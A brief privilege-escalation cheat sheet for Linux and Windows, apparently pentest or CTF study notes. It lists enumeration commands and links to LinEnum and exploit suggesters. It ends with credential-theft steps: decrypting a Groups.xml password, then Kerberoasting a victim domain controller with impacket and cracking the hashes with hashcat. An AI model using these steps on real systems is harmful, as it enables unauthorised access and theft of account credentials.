Priv / Esc

LINUX

#Primeiro, você pode executar o script abaixo.

É importante que você leia a saída deste script.

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

#Kernel and OS

uname -a

cat /etc/issue

cat /etc/redhat-release //Redhat

cat /etc/lsb-release //Debian

#Misconfiguration sudo;

sudo -l

sudo -u scriptmanager bash //Change user with "sudo" command

#Detection of programs with SUID bits;

find / -perm +4000 -user root -type f -print 2>/dev/null

#Scheduled jobs;

crontab -l

cat /etc/crontab

#Detection of services run by root;

ps aux | grep root

#Detection of installed applications;

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

#For more of the manual enumeration steps;

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

- ----------

WINDOWS

#For the detection of missing patches;

https://github.com/AonCyberLabs/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py

#Operating System

systeminfo

wmic qfe

#Users

whoami

echo %USERNAME%

net users

net user <username>

whoami /priv

net localgroup

#Network

ipconfig /all

route print

arp -A

netstat -ano

#Programs

dir /a "C:\Program Files"

dir /a "C:\Program Files (x86)"

reg query HKEY_LOCAL_MACHINE\SOFTWARE

#Unquoted Service Patch

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """"

#Scheduled task;

schtasks /query /fo LIST 2>nul | findstr TaskName

dir C:\windows\tasks

#For more of the manual enumeration steps;

https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

#For application examples;

https://www.youtube.com/watch?v=Fms9UuW05DA&list=PLi0kul0fEhZ9LNZN0-A3nX2xcx2R70JwN

#Groups.xml

get Groups.xml

cat Groups.xml (name, password)

gpp-Decrypt password #decryp_password

smbclient -W <domain_name> -U name //<domain_name>/share_name

#SPN

git https://github.com/SecureAuthCorp/impacket.git

python GetUsersSPN.py <domain_name>/user:decrypt_password -dc-ip <victim_ip> -request

hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force

- ----------